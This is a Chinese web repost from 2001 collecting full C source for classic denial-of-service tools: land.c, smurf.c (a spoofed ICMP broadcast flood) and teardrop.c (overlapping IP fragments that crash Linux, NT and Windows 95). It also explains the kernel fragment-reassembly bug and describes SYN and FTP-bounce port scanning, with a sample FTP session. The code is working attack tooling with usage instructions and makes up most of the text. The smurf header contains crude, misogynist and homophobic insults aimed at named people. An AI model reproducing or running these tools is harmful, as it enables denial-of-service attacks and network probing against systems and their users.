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C源码:常用攻击程序
本文出自: http://linux.chinanet.cn.net:8886/ebooks/ 作者: (2001-08-22 16:38:36)
Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。

1 Land

攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。

/* land.c by m3lt, FLC
   crashes a win95 box */

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include < netinet/ip.h >
#include < netinet/tcp.h >

//用于TCP校验和的伪头
struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

int main(int argc,char * * argv)
{
        struct sockaddr_in sin;
        struct hostent * hoste;
        int sock;
        char buffer[40];
        struct iphdr * ipheader=(struct iphdr *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"land.c by m3lt, FLC\n");

        if(argc<3)
        {
                fprintf(stderr,"usage: %s IP port\n",argv[0]);
                return(-1);
        }

        bzero(&sin,sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[1]);
                return(-1);
        }

        if((sin.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }

//new一个SOCK―RAW以发伪造IP包这需要root权限
        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->version=4;
        ipheader->ihl=sizeof(struct iphdr)/4;
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->id=htons(0xF1C);
        ipheader->ttl=255;
        ipheader->protocol=IP_TCP;

//目的IP地址和源IP地址相同
        ipheader->saddr=sin.sin_addr.s_addr;
        ipheader->daddr=sin.sin_addr.s_addr;

//目的TCP端口和源TCPIP端口相同
        tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
  0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet\n");
                return(-1);
        }

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

        close(sock);
        return(0);
}

2 Smurf
     smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。

    受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。

    可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。

    但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。

/*
*
*  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
*  spoofs icmp packets from a host to various broadcast addresses resulting
*  in multiple replies to that host from a single packet.
*
*  mad head to:
*     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
*     MissSatan for swallowing, napster for pimping my sister, the guy that
*     invented vaseline, fyber for trying, knowy, old school #havok, kain
*     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
*     have missed (you know who you are).
*
*     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
*     thing he is (he's -almost- as stubborn as me, still i managed to pick up
*     half the cheque).
*
*     and a special hi to Todd, face it dude, you're fucking awesome.
*
*  mad anal to:
*     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
*     because they plain suck, Rolex for being a twit, everyone that
*     trades warez, Caren for being a lesbian hoe, AcidKill for being her
*     partner, #cha0s, sedriss for having an ego in inverse proportion to
*     his penis and anyone that can't pee standing up -- you don't know what
*     your missing out on.
*
*     and anyone thats ripped my code (diff smurf.c axcast.c is rather
*     interesting).
*
*     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
*     Robbins for trying to steal my girlfriend.  Not only did you show me
*     no respect but you're a manipulating prick who tried to take away the
*     most important thing in the world to me with no guilt whatsoever, and
*     for that I wish you nothing but pain.  Die.
*
*  disclaimer:
*     I cannot and will not be held responsible nor legally bound for the
*     malicious activities of individuals who come into possession of this
*     program and I refuse to provide help or support of any kind and do NOT
*     condone use of this program to deny service to anyone or any machine.
*     This is for educational use only. Please Don't abuse this.
*
*  Well, i really, really, hate this code, but yet here I am creating another
*  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
*  like most programmers don't like seeing bugs in their code.  I saw a few
*  things that should have been done better or needed fixing so I fixed
*  them.  -shrug-, programming for me as always seemed to take the pain away
*  ...
*
*
*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf[32], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc < 6) usage(argv[0]);

   if ((he = gethostbyname(argv[1])) == NULL) {
      perror("resolving source host");
      exit(-1);
   }
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv[3]);
   delay = atoi(argv[4]);
   pktsize = atoi(argv[5]);

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {
      perror("opening bcast file");
      exit(-1);
   }
   x = 0;
   while (!feof(bcastfile)) {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
      for (i = 0; i < strlen(buf); i++)
          if (buf[i] == '\n') buf[i] = '\0';
      bcastaddr[x] = malloc(32);
      strcpy(bcastaddr[x], buf);
      x++;
   }
   bcastaddr[x] = 0x0;
   fclose(bcastfile);

   if (x == 0) {
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
      exit(-1);
   }
   if (pktsize > 1024) {
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
      exit(-1);
   }

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("getting socket");
      exit(-1);
   }
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

   for (i = 0; i < num || !num; i++) {
      if (!(i % 25)) { printf("."); fflush(stdout); }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0) cycle = 0;
      usleep(delay);
   }
   puts("\n\n");
   return 0;
}

void banner (void)
{
   puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
   fprintf(stderr, "usage: %s <target> <bcast file> "
                   "<num packets> <packet delay> <packet size>\n\n"
                   "target        = address to hit\n"
                   "bcast file    = file to read broadcast addresses from\n"
                   "num packets   = number of packets to send (0 = flood)\n"
                   "packet delay  = wait between each packet (in ms)\n"
                   "packet size   = size of packet (< 1024)\n\n", prog);
   exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
   struct iphdr *ip;
   struct icmphdr *icmp;
   char *packet;

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
}

void ctrlc (int ignored)
{
   puts("\nDone!\n");
   exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

3 Teardrop

    在Linux的ip包重组过程中有一个严重的漏洞。

    在ip_glue()中：

在循环中重组ip包：
        fp = qp->fragments;
        while(fp != NULL)
        {
                if(count+fp->len > skb->len)
                {
                    error_to_big;
                }
                memcpy((ptr + fp->offset), fp->ptr, fp->len);
                count += fp->len;
                fp = fp->next;
        }
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp->len<0 时，也会使内核拷贝过多的东西。

计算分片的结束位置：
        end = offset + ntohs(iph->tot_len) - ihl;

当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
        if (prev != NULL && offset < prev->end)
        {
                i = prev->end - offset;
                offset += i;    /* ptr into datagram */
                ptr += i;       /* ptr into fragment data */
        }

        /* Fill in the structure. */
        fp->offset = offset;
        fp->end = end;
        fp->len = end - offset; //fp->len是一个有符号整数

举个例子来说明这个漏洞：
第一个碎片：mf=1 offset=0   payload=20
敌二个碎片：mf=0 offset=10 payload=9

这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
offset=offset+（20-offset）=20
     fp-〉len=19-20=-1；

那么memcpy将拷贝过多的数据导致崩溃。


/*
*  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
*
*  Linux/NT/95 Overlap frag bug exploit
*
*  Exploits the overlapping IP fragment bug present in all Linux kernels and
*  NT 4.0 / Windows 95 (others?)
*
*  Based off of:   flip.c by klepto
*  Compiles on:    Linux, *BSD*
*
*  gcc -O2 teardrop.c -o teardrop
*      OR
*  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                         * withstand maybe 5 or 10 sometimes...  Experiment.
                         */

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
    int one = 1,
count = 0,
i,
rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;

    fprintf(stderr, "teardrop   route|daemon9\n\n");

//建SOCK_RAW
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
//由系统处理IP校验和。
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }

    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }

    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;

    fprintf(stderr, "Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\n", count);
    fprintf(stderr, "[ ");

    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        fprintf(stderr, "b00m ");
        usleep(500);
    }
    fprintf(stderr, "]\n");
    return (0);
}

/*
*  Send two IP fragments with pathological offsets.  We use an implementation
*  independent way of assembling network packets that does not rely on any of
*  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */

    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    /*
     * Grab some memory for our packet, align p_ptr to point at the beginning
     * of our packet, and then fill it with zeros.
     */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }

    /*  We set the fragment offset to be inside of the previous packet's
     *  payload (it overlaps inside the previous packet) but do not include
     *  enough payload to cover complete the datagram.  Just the header will
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work
     *  better.
     */
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
            name);
    exit(0);
}

4 Portscan 和  Antiportscan

Portscan的两种主要方法：
(1) Half-open（半打开）
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。

(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13  21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.

user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口

150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。

上述两种方法是通用的，而针对个别系统有一些特殊方法。

如一些系统受到包后会作如下处理：

    标志        活动的端口的应答       不活动端口的应答

    SYN         SYN|ACK                 RST 或 Nothing
    SYN|FIN     ACK or SYN|ACK*         RST
    ACK         Nothing                 RST
    0 flag      Nothing                 RST

你最好是试一试。

Antiport
   一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。

notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。

地主发表时间: 03/31 02:08